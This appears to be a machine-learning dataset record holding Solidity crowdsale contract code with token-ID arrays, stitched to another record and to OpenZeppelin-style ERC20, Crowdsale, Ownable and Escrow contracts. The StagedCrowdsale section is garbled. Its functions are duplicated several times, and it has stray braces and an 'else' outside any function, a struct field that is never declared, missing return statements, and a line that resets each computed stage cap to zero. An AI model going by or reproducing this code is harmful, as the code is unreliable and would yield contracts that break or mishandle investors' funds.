(currentStage, onSale) = getStageIndex();
require(onSale);
Stage storage p = stages[currentStage];
p.weiRaised = uint128(_toFund.add(uint256(p.weiRaised)));
super.buyTokensPreHook(_beneficiary, _toFund);
}
}
pragma solidity^0.4.18;
contract AlphaconCrowdsale is BaseCrowdsale, MintableBaseCrowdsale, BonusCrowdsale, BlockIntervalCrowdsale, KYCCrowdsale, StagedCrowdsale, FinishMintingCrowdsale {
bool public initialized;
// constructor parameters are left padded bytes32.
function AlphaconCrowdsale(bytes32[5] args)
BaseCrowdsale(
parseUint(args[0]))
MintableBaseCrowdsale(
parseAddress(args[1]))
BonusCrowdsale()
BlockIntervalCrowdsale(
parseUint(args[2]))
KYCCrowdsale(
parseAddress(args[3]))
StagedCrowdsale(
parseUint(args[4]))
FinishMintingCrowdsale() public {}
function parseBool(bytes32 b) internal pure returns (bool) {
return b == 0x1;
}
function parseUint(bytes32 b) internal pure returns (uint) {
return uint(b);
}
function parseAddress(bytes32 b) internal pure returns (address) {
return address(b & 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff);
}
function init(bytes32[] args) public {
uint _startTime = uint(args[0]);
uint _endTime = uint(args[1]);
uint _rate = uint(args[2]);
uint _cap = uint(args[3]);
uint _goal = uint(args[4]);
uint _crowdsaleRatio = uint(args[5]);
address _vault = address(args[6]);
address _locker = address(args[7]);
address _nextTokenOwner = address(args[8]);
require(_endTime > _startTime);
require(_rate > 0);
require(_cap > 0);
require(_goal > 0);
require(_cap > _goal);
require(_crowdsaleRatio > 0);
require(_vault != address(0));
require(_locker != address(0));
require(_nextTokenOwner != address(0));
startTime = _startTime;
endTime = _endTime;
rate = _rate;
cap = _cap;
goal = _goal;
crowdsaleRatio = _crowdsaleRatio;
vault = MultiHolderVault(_vault);
locker = Locker(_locker);
nextTokenOwner = _nextTokenOwner;
}
} | * @title StagedCrowdsale @notice StagedCrowdsale seperates sale period with start time & end time. For each period, seperate max cap and kyc could be setup. Both startTime and endTime are inclusive./ | contract StagedCrowdsale is KYCCrowdsale {
uint8 public numPeriods;
Stage[] public stages;
struct Stage {
uint128 cap;
uint128 maxPurchaseLimit;
uint128 minPurchaseLimit;
uint32 startTime;
uint32 endTime;
bool kyc;
}
function StagedCrowdsale(uint _numPeriods) public {
numPeriods = uint8(_numPeriods);
require(numPeriods > 0);
}
function initStages(
uint32[] _startTimes,
uint32[] _endTimes,
uint128[] _capRatios,
uint128[] _maxPurchaseLimits,
uint128[] _minPurchaseLimits,
bool[] _kycs)
public
{
uint len = numPeriods;
require(stages.length == 0);
require(len == _startTimes.length &&
len == _endTimes.length &&
len == _capRatios.length &&
len == _maxPurchaseLimits.length &&
len == _minPurchaseLimits.length &&
len == _kycs.length);
for (uint i = 0; i < len; i++) {
require(_endTimes[i] >= _startTimes[i]);
uint stageCap;
if (_capRatios[i] != 0) {
stageCap = cap.mul(uint(_capRatios[i])).div(coeff);
stageCap = 0;
}
stages.push(Stage({
startTime: _startTimes[i],
endTime: _endTimes[i],
cap: uint128(stageCap),
maxPurchaseLimit: _maxPurchaseLimits[i],
minPurchaseLimit: _minPurchaseLimits[i],
kyc: _kycs[i],
weiRaised: 0
}));
}
require(validPeriods());
}
function initStages(
uint32[] _startTimes,
uint32[] _endTimes,
uint128[] _capRatios,
uint128[] _maxPurchaseLimits,
uint128[] _minPurchaseLimits,
bool[] _kycs)
public
{
uint len = numPeriods;
require(stages.length == 0);
require(len == _startTimes.length &&
len == _endTimes.length &&
len == _capRatios.length &&
len == _maxPurchaseLimits.length &&
len == _minPurchaseLimits.length &&
len == _kycs.length);
for (uint i = 0; i < len; i++) {
require(_endTimes[i] >= _startTimes[i]);
uint stageCap;
if (_capRatios[i] != 0) {
stageCap = cap.mul(uint(_capRatios[i])).div(coeff);
stageCap = 0;
}
stages.push(Stage({
startTime: _startTimes[i],
endTime: _endTimes[i],
cap: uint128(stageCap),
maxPurchaseLimit: _maxPurchaseLimits[i],
minPurchaseLimit: _minPurchaseLimits[i],
kyc: _kycs[i],
weiRaised: 0
}));
}
require(validPeriods());
}
function initStages(
uint32[] _startTimes,
uint32[] _endTimes,
uint128[] _capRatios,
uint128[] _maxPurchaseLimits,
uint128[] _minPurchaseLimits,
bool[] _kycs)
public
{
uint len = numPeriods;
require(stages.length == 0);
require(len == _startTimes.length &&
len == _endTimes.length &&
len == _capRatios.length &&
len == _maxPurchaseLimits.length &&
len == _minPurchaseLimits.length &&
len == _kycs.length);
for (uint i = 0; i < len; i++) {
require(_endTimes[i] >= _startTimes[i]);
uint stageCap;
if (_capRatios[i] != 0) {
stageCap = cap.mul(uint(_capRatios[i])).div(coeff);
stageCap = 0;
}
stages.push(Stage({
startTime: _startTimes[i],
endTime: _endTimes[i],
cap: uint128(stageCap),
maxPurchaseLimit: _maxPurchaseLimits[i],
minPurchaseLimit: _minPurchaseLimits[i],
kyc: _kycs[i],
weiRaised: 0
}));
}
require(validPeriods());
}
} else {
function initStages(
uint32[] _startTimes,
uint32[] _endTimes,
uint128[] _capRatios,
uint128[] _maxPurchaseLimits,
uint128[] _minPurchaseLimits,
bool[] _kycs)
public
{
uint len = numPeriods;
require(stages.length == 0);
require(len == _startTimes.length &&
len == _endTimes.length &&
len == _capRatios.length &&
len == _maxPurchaseLimits.length &&
len == _minPurchaseLimits.length &&
len == _kycs.length);
for (uint i = 0; i < len; i++) {
require(_endTimes[i] >= _startTimes[i]);
uint stageCap;
if (_capRatios[i] != 0) {
stageCap = cap.mul(uint(_capRatios[i])).div(coeff);
stageCap = 0;
}
stages.push(Stage({
startTime: _startTimes[i],
endTime: _endTimes[i],
cap: uint128(stageCap),
maxPurchaseLimit: _maxPurchaseLimits[i],
minPurchaseLimit: _minPurchaseLimits[i],
kyc: _kycs[i],
weiRaised: 0
}));
}
require(validPeriods());
}
function getStageIndex() public view returns (uint8 currentStage, bool onSale) {
onSale = true;
Stage memory p;
for (currentStage = 0; currentStage < stages.length; currentStage++) {
p = stages[currentStage];
if (p.startTime <= now && now <= p.endTime) {
return;
}
}
onSale = false;
}
function getStageIndex() public view returns (uint8 currentStage, bool onSale) {
onSale = true;
Stage memory p;
for (currentStage = 0; currentStage < stages.length; currentStage++) {
p = stages[currentStage];
if (p.startTime <= now && now <= p.endTime) {
return;
}
}
onSale = false;
}
function getStageIndex() public view returns (uint8 currentStage, bool onSale) {
onSale = true;
Stage memory p;
for (currentStage = 0; currentStage < stages.length; currentStage++) {
p = stages[currentStage];
if (p.startTime <= now && now <= p.endTime) {
return;
}
}
onSale = false;
}
function saleFinished() public view returns (bool) {
require(stages.length == numPeriods);
return stages[stages.length - 1].endTime < now;
}
function validPeriods() internal view returns (bool) {
if (stages.length != numPeriods) {
return false;
}
for (uint8 i = 0; i < stages.length - 1; i++) {
if (stages[i].endTime >= stages[i + 1].startTime) {
return false;
}
}
return true;
}
function validPeriods() internal view returns (bool) {
if (stages.length != numPeriods) {
return false;
}
for (uint8 i = 0; i < stages.length - 1; i++) {
if (stages[i].endTime >= stages[i + 1].startTime) {
return false;
}
}
return true;
}
function validPeriods() internal view returns (bool) {
if (stages.length != numPeriods) {
return false;
}
for (uint8 i = 0; i < stages.length - 1; i++) {
if (stages[i].endTime >= stages[i + 1].startTime) {
return false;
}
}
return true;
}
function validPeriods() internal view returns (bool) {
if (stages.length != numPeriods) {
return false;
}
for (uint8 i = 0; i < stages.length - 1; i++) {
if (stages[i].endTime >= stages[i + 1].startTime) {
return false;
}
}
return true;
}
function calculateToFund(address _beneficiary, uint256 _weiAmount) internal view returns (uint256) {
uint256 weiAmount = _weiAmount;
uint8 currentStage;
bool onSale;
(currentStage, onSale) = getStageIndex();
require(onSale);
Stage memory p = stages[currentStage];
if (p.kyc) {
require(super.registered(_beneficiary));
}
if (p.maxPurchaseLimit != 0 && weiAmount > uint(p.maxPurchaseLimit)) {
weiAmount = uint(p.maxPurchaseLimit);
}
if (p.cap > 0) {
uint256 postWeiRaised = uint256(p.weiRaised).add(weiAmount);
if (postWeiRaised > p.cap) {
weiAmount = uint256(p.cap).sub(p.weiRaised);
}
}
}
function calculateToFund(address _beneficiary, uint256 _weiAmount) internal view returns (uint256) {
uint256 weiAmount = _weiAmount;
uint8 currentStage;
bool onSale;
(currentStage, onSale) = getStageIndex();
require(onSale);
Stage memory p = stages[currentStage];
if (p.kyc) {
require(super.registered(_beneficiary));
}
if (p.maxPurchaseLimit != 0 && weiAmount > uint(p.maxPurchaseLimit)) {
weiAmount = uint(p.maxPurchaseLimit);
}
if (p.cap > 0) {
uint256 postWeiRaised = uint256(p.weiRaised).add(weiAmount);
if (postWeiRaised > p.cap) {
weiAmount = uint256(p.cap).sub(p.weiRaised);
}
}
}
require(weiAmount >= uint(p.minPurchaseLimit));
function calculateToFund(address _beneficiary, uint256 _weiAmount) internal view returns (uint256) {
uint256 weiAmount = _weiAmount;
uint8 currentStage;
bool onSale;
(currentStage, onSale) = getStageIndex();
require(onSale);
Stage memory p = stages[currentStage];
if (p.kyc) {
require(super.registered(_beneficiary));
}
if (p.maxPurchaseLimit != 0 && weiAmount > uint(p.maxPurchaseLimit)) {
weiAmount = uint(p.maxPurchaseLimit);
}
if (p.cap > 0) {
uint256 postWeiRaised = uint256(p.weiRaised).add(weiAmount);
if (postWeiRaised > p.cap) {
weiAmount = uint256(p.cap).sub(p.weiRaised);
}
}
}
function calculateToFund(address _beneficiary, uint256 _weiAmount) internal view returns (uint256) {
uint256 weiAmount = _weiAmount;
uint8 currentStage;
bool onSale;
(currentStage, onSale) = getStageIndex();
require(onSale);
Stage memory p = stages[currentStage];
if (p.kyc) {
require(super.registered(_beneficiary));
}
if (p.maxPurchaseLimit != 0 && weiAmount > uint(p.maxPurchaseLimit)) {
weiAmount = uint(p.maxPurchaseLimit);
}
if (p.cap > 0) {
uint256 postWeiRaised = uint256(p.weiRaised).add(weiAmount);
if (postWeiRaised > p.cap) {
weiAmount = uint256(p.cap).sub(p.weiRaised);
}
}
}
function calculateToFund(address _beneficiary, uint256 _weiAmount) internal view returns (uint256) {
uint256 weiAmount = _weiAmount;
uint8 currentStage;
bool onSale;
(currentStage, onSale) = getStageIndex();
require(onSale);
Stage memory p = stages[currentStage];
if (p.kyc) {
require(super.registered(_beneficiary));
}
if (p.maxPurchaseLimit != 0 && weiAmount > uint(p.maxPurchaseLimit)) {
weiAmount = uint(p.maxPurchaseLimit);
}
if (p.cap > 0) {
uint256 postWeiRaised = uint256(p.weiRaised).add(weiAmount);
if (postWeiRaised > p.cap) {
weiAmount = uint256(p.cap).sub(p.weiRaised);
}
}
}
return super.calculateToFund(_beneficiary, weiAmount);
function buyTokensPreHook(address _beneficiary, uint256 _toFund) internal {
uint8 currentStage;
bool onSale;
(currentStage, onSale) = getStageIndex();
require(onSale);
Stage storage p = stages[currentStage];
p.weiRaised = uint128(_toFund.add(uint256(p.weiRaised)));
super.buyTokensPreHook(_beneficiary, _toFund);
}
}
| 633,755 | [
1,
510,
11349,
39,
492,
2377,
5349,
225,
934,
11349,
39,
492,
2377,
5349,
22282,
815,
272,
5349,
3879,
598,
787,
813,
473,
679,
813,
18,
2457,
1517,
3879,
16,
22282,
340,
943,
3523,
471,
417,
93,
71,
3377,
506,
3875,
18,
19118,
8657,
471,
13859,
854,
13562,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
934,
11349,
39,
492,
2377,
5349,
353,
1475,
61,
6743,
492,
2377,
5349,
288,
203,
203,
225,
2254,
28,
1071,
818,
30807,
31,
203,
203,
225,
16531,
8526,
1071,
20298,
31,
203,
203,
225,
1958,
16531,
288,
203,
565,
2254,
10392,
3523,
31,
203,
565,
2254,
10392,
943,
23164,
3039,
31,
203,
565,
2254,
10392,
1131,
23164,
3039,
31,
203,
565,
2254,
1578,
8657,
31,
203,
565,
2254,
1578,
13859,
31,
203,
565,
1426,
417,
93,
71,
31,
203,
225,
289,
203,
203,
225,
445,
934,
11349,
39,
492,
2377,
5349,
12,
11890,
389,
2107,
30807,
13,
1071,
288,
203,
565,
818,
30807,
273,
2254,
28,
24899,
2107,
30807,
1769,
203,
565,
2583,
12,
2107,
30807,
405,
374,
1769,
203,
225,
289,
203,
203,
225,
445,
1208,
31359,
12,
203,
565,
2254,
1578,
8526,
389,
1937,
10694,
16,
203,
565,
2254,
1578,
8526,
389,
409,
10694,
16,
203,
565,
2254,
10392,
8526,
389,
5909,
29635,
7441,
16,
203,
565,
2254,
10392,
8526,
389,
1896,
23164,
12768,
16,
203,
565,
2254,
10392,
8526,
389,
1154,
23164,
12768,
16,
203,
565,
1426,
8526,
389,
18465,
2143,
13,
203,
565,
1071,
203,
225,
288,
203,
565,
2254,
562,
273,
818,
30807,
31,
203,
203,
565,
2583,
12,
334,
1023,
18,
2469,
422,
374,
1769,
203,
565,
2583,
12,
1897,
422,
389,
1937,
10694,
18,
2469,
597,
203,
1377,
562,
422,
389,
409,
10694,
18,
2469,
597,
203,
1377,
562,
422,
389,
5909,
29635,
7441,
18,
2469,
597,
203,
1377,
562,
422,
389,
1896,
23164,
12768,
18,
2
] |
./full_match/1/0x6DB9Bb0c672E93515acd1514eafc61e3FC6eDd84/sources/contracts/core/defi/three-x/ThreeXZapper.sol | ========== STATE VARIABLES ========== */ ========== EVENTS ========== */ ========== CONSTRUCTOR ========== */ | ) {
contractRegistry = _contractRegistry;
threePool = _threePool;
token = _token;
}
| 17,158,220 | [
1,
1432,
631,
7442,
22965,
55,
422,
1432,
342,
422,
1432,
9964,
55,
422,
1432,
342,
422,
1432,
3492,
13915,
916,
422,
1432,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
262,
288,
203,
565,
6835,
4243,
273,
389,
16351,
4243,
31,
203,
565,
8925,
2864,
273,
389,
451,
992,
2864,
31,
203,
565,
1147,
273,
389,
2316,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title CappedCrowdsale
* @dev Crowdsale with a limit for total contributions.
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
/**
* @dev Constructor, takes maximum amount of wei accepted in the crowdsale.
* @param _cap Max amount of wei to be contributed
*/
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {}
}
/**
* @title Escrow
* @dev Base escrow contract, holds funds destinated to a payee until they
* withdraw them. The contract that uses the escrow as its payment method
* should be its owner, and provide public methods redirecting to the escrow's
* deposit and withdraw.
*/
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param _payee The destination address of the funds.
*/
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee.
* @param _payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
/**
* @title ConditionalEscrow
* @dev Base abstract escrow to only allow withdrawal if a condition is met.
*/
contract ConditionalEscrow is Escrow {
/**
* @dev Returns whether an address is allowed to withdraw their funds. To be
